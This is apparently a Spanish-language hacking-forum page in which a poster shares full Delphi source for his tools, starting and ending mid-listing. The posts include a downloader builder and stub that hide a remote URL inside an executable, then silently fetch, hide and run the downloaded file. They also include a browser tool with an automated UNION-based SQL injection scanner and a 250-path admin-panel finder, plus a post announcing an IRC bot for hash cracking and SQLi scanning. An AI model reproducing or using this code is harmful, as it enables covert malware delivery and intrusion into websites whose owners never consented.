  199.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  200.            nil, nil, SW_SHOWNORMAL);
  201.        end
  202.        else
  203.        begin
  204.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
  205.            SW_SHOWNORMAL);
  206.        end;
  207.      end
  208.      else
  209.      begin
  210.        if sCheckBox2.Checked then
  211.        begin
  212.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  213.            nil, nil, SW_HIDE);
  214.        end
  215.        else
  216.        begin
  217.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
  218.        end;
  219.      end;
  220.  
  221.    end;
  222.  
  223.    if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
  224.      sCheckBox4.Checked or sCheckBox5.Checked then
  225.    begin
  226.      sStatusBar1.Panels[0].Text := '[+] Finished';
  227.      sStatusBar1.Update;
  228.    end;
  229.  
  230.  end;
  231.  
  232. end;
  233.  
  234. end.
  235.  
  236. // The End ?
  237.  

El generador.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit generate;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
  11.  sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;
  12.  
  13. type
  14.  TForm4 = class(TForm)
  15.    Image1: TImage;
  16.    sStatusBar1: TsStatusBar;
  17.  
  18.    OpenDialog1: TOpenDialog;
  19.    sPageControl1: TsPageControl;
  20.    sTabSheet1: TsTabSheet;
  21.    sTabSheet2: TsTabSheet;
  22.    sTabSheet3: TsTabSheet;
  23.    sGroupBox1: TsGroupBox;
  24.    sGroupBox2: TsGroupBox;
  25.    sEdit1: TsEdit;
  26.    sGroupBox3: TsGroupBox;
  27.    sEdit2: TsEdit;
  28.    sGroupBox4: TsGroupBox;
  29.    sRadioButton1: TsRadioButton;
  30.    sRadioButton2: TsRadioButton;
  31.    sGroupBox5: TsGroupBox;
  32.    sGroupBox6: TsGroupBox;
  33.    sGroupBox7: TsGroupBox;
  34.    Image2: TImage;
  35.    sButton1: TsButton;
  36.    sGroupBox8: TsGroupBox;
  37.    sComboBox1: TsComboBox;
  38.    sGroupBox9: TsGroupBox;
  39.    sCheckBox1: TsCheckBox;
  40.    sEdit3: TsEdit;
  41.    sGroupBox10: TsGroupBox;
  42.    sButton2: TsButton;
  43.    procedure sButton1Click(Sender: TObject);
  44.    procedure sEdit2Click(Sender: TObject);
  45.    procedure sButton2Click(Sender: TObject);
  46.  
  47.    procedure FormCreate(Sender: TObject);
  48.  
  49.  private
  50.    { Private declarations }
  51.  public
  52.    { Public declarations }
  53.  end;
  54.  
  55. var
  56.  Form4: TForm4;
  57.  
  58. implementation
  59.  
  60. {$R *.dfm}
  61. // Functions
  62.  
  63. function dhencode(texto, opcion: string): string;
  64. // Thanks to Taqyon
  65. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  66. var
  67.  num: integer;
  68.  aca: string;
  69.  cantidad: integer;
  70.  
  71. begin
  72.  
  73.  num := 0;
  74.  Result := '';
  75.  aca := '';
  76.  cantidad := 0;
  77.  
  78.  if (opcion = 'encode') then
  79.  begin
  80.    cantidad := length(texto);
  81.    for num := 1 to cantidad do
  82.    begin
  83.      aca := IntToHex(ord(texto[num]), 2);
  84.      Result := Result + aca;
  85.    end;
  86.  end;
  87.  
  88.  if (opcion = 'decode') then
  89.  begin
  90.    cantidad := length(texto);
  91.    for num := 1 to cantidad div 2 do
  92.    begin
  93.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  94.      Result := Result + aca;
  95.    end;
  96.  end;
  97.  
  98. end;
  99.  
  100. function getfilename(archivo: string): string;
  101. var
  102.  test: TStrings;
  103. begin
  104.  
  105.  test := TStringList.Create;
  106.  test.Delimiter := '/';
  107.  test.DelimitedText := archivo;
  108.  Result := test[test.Count - 1];
  109.  
  110.  test.Free;
  111.  
  112. end;
  113.  
  114. //
  115.  
  116. procedure TForm4.FormCreate(Sender: TObject);
  117. begin
  118.  
  119.  OpenDialog1.InitialDir := GetCurrentDir;
  120.  OpenDialog1.Filter := 'ICO|*.ico|';
  121.  
  122. end;
  123.  
  124. procedure TForm4.sButton2Click(Sender: TObject);
  125. var
  126.  linea: string;
  127.  aca: THandle;
  128.  code: Array [0 .. 9999 + 1] of Char;
  129.  nose: DWORD;
  130.  marca_uno: string;
  131.  marca_dos: string;
  132.  url: string;
  133.  opcionocultar: string;
  134.  savein: string;
  135.  lineafinal: string;
  136.  stubgenerado: string;
  137.  tipodecarga: string;
  138.  change: DWORD;
  139.  valor: string;
  140.  
  141. begin
  142.  
  143.  url := sEdit1.Text;
  144.  stubgenerado := 'tiny_down.exe';
  145.  
  146.  if (sRadioButton2.Checked = True) then
  147.  begin
  148.    tipodecarga := '1';
  149.  end
  150.  else
  151.  begin
  152.    tipodecarga := '0';
  153.  end;
  154.  
  155.  if (sCheckBox1.Checked = True) then
  156.  begin
  157.    opcionocultar := '1';
  158.  end
  159.  else
  160.  begin
  161.    opcionocultar := '0';
  162.  end;
  163.  
  164.  if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  165.  begin
  166.    savein := 'USERPROFILE';
  167.  end
  168.  else
  169.  begin
  170.    savein := sComboBox1.Items[sComboBox1.ItemIndex];
  171.  end;
  172.  
  173.  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
  174.    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
  175.    '[name]' + '[carga]' + tipodecarga + '[carga]';
  176.  
  177.  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
  178.  
  179.  aca := INVALID_HANDLE_VALUE;
  180.  nose := 0;
  181.  
  182.  DeleteFile(stubgenerado);
  183.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  184.        + '/' + 'Data/stub_down.exe'), PChar
  185.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  186.  
  187.  linea := marca_uno;
  188.  StrCopy(code, PChar(linea));
  189.  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
  190.    OPEN_EXISTING, 0, 0);
  191.  if (aca <> INVALID_HANDLE_VALUE) then
  192.  begin
  193.    SetFilePointer(aca, 0, nil, FILE_END);
  194.    WriteFile(aca, code, 9999, nose, nil);
  195.    CloseHandle(aca);
  196.  end;
  197.  
  198.  //
  199.  
  200.  if not(sEdit3.Text = '') then
  201.  begin
  202.    try
  203.      begin
  204.  
  205.        valor := IntToStr(128);
  206.  
  207.        change := BeginUpdateResourceW
  208.          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  209.                + '/' + stubgenerado)), False);
  210.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  211.          PWideChar(wideString(sEdit3.Text)));
  212.        EndUpdateResourceW(change, False);
  213.        sStatusBar1.Panels[0].Text := '[+] Done ';
  214.        sStatusBar1.Update;
  215.      end;
  216.    except
  217.      begin
  218.        sStatusBar1.Panels[0].Text := '[-] Error';
  219.        sStatusBar1.Update;
  220.      end;
  221.    end;
  222.  end
  223.  else
  224.  begin
  225.    sStatusBar1.Panels[0].Text := '[+] Done ';
  226.    sStatusBar1.Update;
  227.  end;
  228.  
  229.  //
  230.  
  231. end;
  232.  
  233. procedure TForm4.sButton1Click(Sender: TObject);
  234. begin
  235.  
  236.  if OpenDialog1.Execute then
  237.  begin
  238.    Image2.Picture.LoadFromFile(OpenDialog1.FileName);
  239.    sEdit3.Text := OpenDialog1.FileName;
  240.  end;
  241.  
  242. end;
  243.  
  244. procedure TForm4.sEdit2Click(Sender: TObject);
  245. begin
  246.  if not(sEdit1.Text = '') then
  247.  begin
  248.    sEdit2.Text := getfilename(sEdit1.Text);
  249.  end;
  250. end;
  251.  
  252. end.
  253.  
  254. // The End ?
  255.  

El stub

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. // Stub
  5.  
  6. program stub_down;
  7.  
  8. // {$APPTYPE CONSOLE}
  9.  
  10. uses
  11.  SysUtils, Windows, URLMon, ShellApi;
  12.  
  13.  
  14. // Functions
  15.  
  16. function regex(text: String; deaca: String; hastaaca: String): String;
  17. begin
  18.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  19.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  20.  Result := text;
  21. end;
  22.  
  23. function dhencode(texto, opcion: string): string;
  24. // Thanks to Taqyon
  25. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  26. var
  27.  num: integer;
  28.  aca: string;
  29.  cantidad: integer;
  30.  
  31. begin
  32.  
  33.  num := 0;
  34.  Result := '';
  35.  aca := '';
  36.  cantidad := 0;
  37.  
  38.  if (opcion = 'encode') then
  39.  begin
  40.    cantidad := Length(texto);
  41.    for num := 1 to cantidad do
  42.    begin
  43.      aca := IntToHex(ord(texto[num]), 2);
  44.      Result := Result + aca;
  45.    end;
  46.  end;
  47.  
  48.  if (opcion = 'decode') then
  49.  begin
  50.    cantidad := Length(texto);
  51.    for num := 1 to cantidad div 2 do
  52.    begin
  53.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  54.      Result := Result + aca;
  55.    end;
  56.  end;
  57.  
  58. end;
  59.  
  60. //
  61.  
  62. var
  63.  ob: THandle;
  64.  code: Array [0 .. 9999 + 1] of Char;
  65.  nose: DWORD;
  66.  link: string;
  67.  todo: string;
  68.  opcion: string;
  69.  path: string;
  70.  nombre: string;
  71.  rutafinal: string;
  72.  tipodecarga: string;
  73.  
  74. begin
  75.  
  76.  try
  77.  
  78.    ob := INVALID_HANDLE_VALUE;
  79.    code := '';
  80.  
  81.    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  82.      OPEN_EXISTING, 0, 0);
  83.    if (ob <> INVALID_HANDLE_VALUE) then
  84.    begin
  85.      SetFilePointer(ob, -9999, nil, FILE_END);
  86.      ReadFile(ob, code, 9999, nose, nil);
  87.      CloseHandle(ob);
  88.    end;
  89.  
  90.    todo := regex(code, '[63686175]', '[63686175]');
  91.    todo := dhencode(todo, 'decode');
  92.  
  93.    link := regex(todo, '[link]', '[link]');
  94.    opcion := regex(todo, '[opcion]', '[opcion]');
  95.    path := regex(todo, '[path]', '[path]');
  96.    nombre := regex(todo, '[name]', '[name]');
  97.    tipodecarga := regex(todo, '[carga]', '[carga]');
  98.  
  99.    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
  100.  
  101.    try
  102.  
  103.      begin
  104.        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
  105.  
  106.        if (FileExists(rutafinal)) then
  107.        begin
  108.  
  109.          if (opcion = '1') then
  110.          begin
  111.            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
  112.          end;
  113.  
  114.          if (tipodecarga = '1') then
  115.          begin
  116.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
  117.          end
  118.          else
  119.          begin
  120.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
  121.          end;
  122.        end;
  123.  
  124.      end;
  125.    except
  126.      //
  127.    end;
  128.  
  129.  except
  130.    //
  131.  end;
  132.  
  133. end.
  134.  
  135. // The End ?
  136.  

Si lo quieren bajar lo pueden hacer de aca.
178  Programación / Programación General / [Delphi] DH Browser 0.2 en: 15 Noviembre 2013, 15:02 pm
Un simple browser que hice en Delphi con las siguientes opciones :

  • Podes ver el codigo HTML de la pagina cargada
  • Se puede buscar palabras en el codigo HTML
  • Poder modificar los headers para HTTP header injection
  • Trae un SQLI Scanner para buscar vulnerabilidades SQLI
  • Trae un PanelFinder para buscar el panel del admin

Unas imagenes :





El codigo :

Carga

Código
  1. // DH Browser 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhbrowse;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
  11.  sSkinManager;
  12.  
  13. type
  14.  TForm1 = class(TForm)
  15.    sGroupBox1: TsGroupBox;
  16.    sProgressBar1: TsProgressBar;
  17.    Timer1: TTimer;
  18.    Image1: TImage;
  19.  
  20.    sSkinManager1: TsSkinManager;
  21.    procedure Button1Click(Sender: TObject);
  22.    procedure Timer1Timer(Sender: TObject);
  23.    procedure FormCreate(Sender: TObject);
  24.  private
  25.    { Private declarations }
  26.  public
  27.    { Public declarations }
  28.  end;
  29.  
  30. var
  31.  Form1: TForm1;
  32.  
  33. implementation
  34.  
  35. uses programa;
  36. {$R *.dfm}
  37.  
  38. procedure TForm1.Button1Click(Sender: TObject);
  39. begin
  40.  Form2.Show;
  41. end;
  42.  
  43. procedure TForm1.FormCreate(Sender: TObject);
  44. begin
  45.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  46.  sSkinManager1.SkinName := 'tv-b';
  47.  sSkinManager1.Active := True;
  48. end;
  49.  
  50. procedure TForm1.Timer1Timer(Sender: TObject);
  51. var
  52.  i: integer;
  53.  total: integer;
  54.  
  55. begin
  56.  
  57.  total := 0;
  58.  sProgressBar1.Min := 0;
  59.  sProgressBar1.Max := 100;
  60.  
  61.  For i := 1 to 100 do
  62.  begin
  63.  
  64.    Form1.Update;
  65.  
  66.    Sleep(1000);
  67.    // Sleep(1);
  68.  
  69.    total := total + 10;
  70.  
  71.    sProgressBar1.Position := total;
  72.  
  73.    if (sProgressBar1.Position = 100) then
  74.    begin
  75.      Timer1.Enabled := False;
  76.      Form1.Hide;
  77.      Form2.Show;
  78.      Abort;
  79.    end;
  80.  end;
  81.  
  82. end;
  83.  
  84. end.
  85.  
  86. // The End ?
  87.  

Navegador

Código
  1. // DH Browser 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  5. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  6. // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  7.  
  8. unit programa;
  9.  
  10. interface
  11.  
  12. uses
  13.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
  15.  sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
  16.  ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
  17.  IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;
  18.  
  19. type
  20.  TForm2 = class(TForm)
  21.    sSkinManager1: TsSkinManager;
  22.    sGroupBox1: TsGroupBox;
  23.    sEdit1: TsEdit;
  24.    sButton1: TsButton;
  25.    sGroupBox2: TsGroupBox;
  26.    sMemo1: TsMemo;
  27.    sCheckBox1: TsCheckBox;
  28.    sGroupBox3: TsGroupBox;
  29.    sStatusBar1: TsStatusBar;
  30.    WebBrowser1: TWebBrowser;
  31.    sGroupBox4: TsGroupBox;
  32.    sButton2: TsButton;
  33.    sButton3: TsButton;
  34.    sGroupBox5: TsGroupBox;
  35.    sButton4: TsButton;
  36.    sLabel1: TsLabel;
  37.    Image1: TImage;
  38.    sMemo2: TsMemo;
  39.    PopupMenu1: TPopupMenu;
  40.    S1: TMenuItem;
  41.    S2: TMenuItem;
  42.    IdHTTP1: TIdHTTP;
  43.    PerlRegEx1: TPerlRegEx;
  44.    FindDialog1: TFindDialog;
  45.    sProgressBar1: TsProgressBar;
  46.    procedure sButton1Click(Sender: TObject);
  47.    procedure S1Click(Sender: TObject);
  48.    procedure S2Click(Sender: TObject);
  49.    procedure sButton3Click(Sender: TObject);
  50.    procedure sButton2Click(Sender: TObject);
  51.    procedure sButton4Click(Sender: TObject);
  52.    procedure FindDialog1Find(Sender: TObject);
  53.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  54.    procedure WebBrowser1ProgressChange(ASender: TObject;
  55.      Progress, ProgressMax: Integer);
  56.    procedure WebBrowser1DownloadComplete(Sender: TObject);
  57.    procedure FormCreate(Sender: TObject);
  58.  private
  59.    { Private declarations }
  60.  public
  61.    { Public declarations }
  62.  end;
  63.  
  64. var
  65.  Form2: TForm2;
  66.  
  67. implementation
  68.  
  69. {$R *.dfm}
  70.  
  71. procedure TForm2.FindDialog1Find(Sender: TObject);
  72.  
  73. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  74.  
  75. var
  76.  aca: PChar;
  77.  aca2: PChar;
  78.  acatoy: PChar;
  79.  acatoy2: Word;
  80.  
  81. begin
  82.  
  83.  With Sender as TFindDialog do
  84.  
  85.  begin
  86.  
  87.    GetMem(aca2, Length(FindText) + 1);
  88.    StrPCopy(aca2, FindText);
  89.  
  90.    acatoy2 := sMemo2.GetTextLen + 1;
  91.    GetMem(aca, acatoy2);
  92.  
  93.    sMemo2.GetTextBuf(aca, acatoy2);
  94.  
  95.    acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
  96.    acatoy := StrPos(acatoy, aca2);
  97.  
  98.    if not(acatoy = NIL) then
  99.    begin
  100.      sMemo2.SelStart := acatoy - aca;
  101.      sMemo2.SelLength := Length(FindText);
  102.    end;
  103.  
  104.    sMemo2.SetFocus;
  105.  
  106.  end;
  107.  
  108. end;
  109.  
  110. procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
  111. begin
  112.  Application.Terminate;
  113. end;
  114.  
  115. procedure TForm2.FormCreate(Sender: TObject);
  116. begin
  117.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  118.  sSkinManager1.SkinName := 'tv-b';
  119.  sSkinManager1.Active := True;
  120. end;
  121.  
  122. procedure TForm2.S1Click(Sender: TObject);
  123. begin
  124.  WebBrowser1.Visible := false;
  125.  sMemo2.Visible := True;
  126. end;
  127.  
  128. procedure TForm2.S2Click(Sender: TObject);
  129. begin
  130.  WebBrowser1.Visible := True;
  131.  sMemo2.Visible := false;
  132. end;
  133.  
  134. procedure TForm2.sButton1Click(Sender: TObject);
  135.  
  136. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  137.  
  138. var
  139.  
  140.  cabeceras: OLEVariant;
  141.  uno: OLEVariant;
  142.  dos: OLEVariant;
  143.  tres: OLEVariant;
  144.  
  145. begin
  146.  
  147.  uno := navNoReadFromCache or navNoWriteToCache;
  148.  dos := '';
  149.  tres := '';
  150.  
  151.  if (sCheckBox1.Checked) then
  152.  begin
  153.    cabeceras := sMemo1.Text;
  154.    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  155.  end
  156.  else
  157.  begin
  158.    cabeceras := '';
  159.    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  160.  end;
  161. end;
  162.  
  163. procedure TForm2.sButton2Click(Sender: TObject);
  164. var
  165.  pass1: string;
  166.  pass2: string;
  167.  code: string;
  168.  urltest: string;
  169.  urlgen: string;
  170.  full: string;
  171.  codedos: string;
  172.  i: Integer;
  173.  
  174. begin
  175.  
  176.  sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
  177.  Form2.sStatusBar1.Update;
  178.  
  179.  pass1 := '+';
  180.  pass2 := '--';
  181.  
  182.  urltest := 'concat(0x4b30425241,1,0x4b30425241)';
  183.  
  184.  sStatusBar1.Panels[0].Text := '[+] Checking ...';
  185.  Form2.sStatusBar1.Update;
  186.  
  187.  code := IdHTTP1.Get
  188.    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);
  189.  
  190.  codedos := IdHTTP1.Get
  191.    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);
  192.  
  193.  if not(code = codedos) then
  194.  begin
  195.  
  196.    sStatusBar1.Panels[0].Text := '[+] Finding columns number';
  197.    Form2.sStatusBar1.Update;
  198.  
  199.    urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
  200.      'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
  201.    urlgen := '1';
  202.    for i := 2 to 36 do
  203.    begin
  204.      sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
  205.      Form2.sStatusBar1.Update;
  206.      urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
  207.        + ',0x4b30425241)';
  208.      urlgen := urlgen + ',' + IntToStr(i);
  209.      code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
  210.      PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
  211.      PerlRegEx1.Subject := code;
  212.  
  213.      if PerlRegEx1.Match then
  214.      begin
  215.  
  216.        urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
  217.          'hackman', []);
  218.        full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
  219.          'union' + pass1 + 'select' + pass1 + urlgen;
  220.  
  221.        sEdit1.Text := full;
  222.        Abort;
  223.  
  224.      end;
  225.    end;
  226.  end;
  227.  
  228.  sStatusBar1.Panels[0].Text := '[+] Done';
  229.  Form2.sStatusBar1.Update;
  230.  
  231. end;
  232.  
  233. procedure TForm2.sButton3Click(Sender: TObject);
  234. const
  235.  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  236.    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  237.    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  238.    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  239.    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  240.    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  241.    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  242.    'login/index.asp', 'login/index.aspx', 'login/login.asp',
  243.    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  244.    'administracion/index.asp', 'administracion/index.aspx',
  245.    'administracion/login.asp', 'administracion/login.aspx',
  246.    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  247.    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  248.    'admin/admin.php', 'admin/index.php', 'admin/login.php',
  249.    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
  250.    'admin/default.php', 'administracion/', 'administracion/index.php',
  251.    'administracion/login.php', 'administracion/ingresar.php',
  252.    'administracion/admin.php', 'administration/', 'administration/index.php',
  253.    'administration/login.php', 'administrator/index.php',
  254.    'administrator/login.php', 'administrator/system.php', 'system/',
  255.    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  256.    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
  257.    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
  258.    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
  259.    'admin/index.html', 'admin/login.html', 'admin/home.php',
  260.    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
  261.    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
  262.    'administrator/index.html', 'administrator/login.html',
  263.    'administrator/account.html', 'administrator/account.php',
  264.    'administrator.html', 'login.html', 'modelsearch/login.php',
  265.    'moderator.php', 'moderator.html', 'moderator/login.php',
  266.    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  267.    'moderator/', 'account.php', 'account.html', 'controlpanel/',
  268.    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
  269.    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
  270.    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  271.    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  272.    'administrator/index.asp', 'administrator/login.asp',
  273.    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  274.    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  275.    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  276.    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  277.    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  278.    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  279.    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  280.    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  281.    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  282.    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  283.    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  284.    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  285.    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  286.    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  287.    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  288.    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  289.    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  290.    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  291.    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  292.    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  293.    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  294.    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  295.    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  296.    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
  297.    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
  298.    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
  299.    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
  300.    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
  301.    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  302.    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
  303.    'system_administration/', 'ss_vms_admin_sm/');
  304. var
  305.  IdHTTP: TIdHTTP;
  306.  i: Integer;
  307.  control: Integer;
  308. begin
  309.  
  310.  control := 0;
  311.  
  312.  sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
  313.  Form2.sStatusBar1.Update;
  314.  
  315.  IdHTTP := TIdHTTP.Create(nil);
  316.  
  317.  for i := Low(paginas) to High(paginas) do
  318.  
  319.    if (control = 1) then
  320.    begin
  321.      Abort;
  322.    end
  323.    else
  324.    begin
  325.  
  326.      try
  327.  
  328.        sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
  329.        Form2.sStatusBar1.Update;
  330.  
  331.        IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
  332.        if IdHTTP.ResponseCode = 200 then
  333.        begin
  334.  
  335.          sStatusBar1.Panels[0].Text := '[+] Done';
  336.          Form2.sStatusBar1.Update;
  337.          sEdit1.Text := sEdit1.Text + '/' + paginas[i];
  338.          control := 1;
  339.        end;
  340.      except
  341.        on E: EIdHttpProtocolException do
  342.          ;
  343.        on E: Exception do
  344.          ;
  345.      end;
  346.  
  347.    end;
  348.  
  349.  sStatusBar1.Panels[0].Text := '[+] Done';
  350.  Form2.sStatusBar1.Update;
  351.  
  352. end;
  353.  
  354. procedure TForm2.sButton4Click(Sender: TObject);
  355. begin
  356.  FindDialog1.Execute;
  357. end;
  358.  
  359. procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
  360. var
  361.  buscador: IHTMLElement;
  362. begin
  363.  
  364.  sProgressBar1.Position := 0;
  365.  
  366.  // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  367.  
  368.  begin
  369.  
  370.    try
  371.      begin
  372.  
  373.        sMemo2.Clear;
  374.  
  375.        buscador := (WebBrowser1.Document AS IHTMLDocument2).body;
  376.  
  377.        while not(buscador.parentElement = nil) do
  378.        begin
  379.          buscador := buscador.parentElement;
  380.        end;
  381.        sMemo2.Lines.Add(buscador.outerHTML);
  382.      end;
  383.    except
  384.      // ??
  385.    end;
  386.  end;
  387. end;
  388.  
  389. procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
  390.  Progress, ProgressMax: Integer);
  391. begin
  392.  sProgressBar1.Max := ProgressMax;
  393.  sProgressBar1.Position := Progress;
  394. end;
  395.  
  396. end.
  397.  
  398. // The End ?
  399.  


Si lo quieren bajar lo pueden hacer de aca.

179  Programación / Programación General / [Delphi] ClapTrap IRC Bot 0.5 en: 11 Noviembre 2013, 17:13 pm
Acabo de terminar mi nuevo programa en Delphi "ClapTrap IRC Bot" , como su nombre dice es solo un bot para IRC con las siguientes opciones :

  • Busca panel de administracion
  • Localiza IP y sus DNS
  • Crackea hashes MD5
  • Y scannea SQLI

Unas imagenes :





Menu de carga

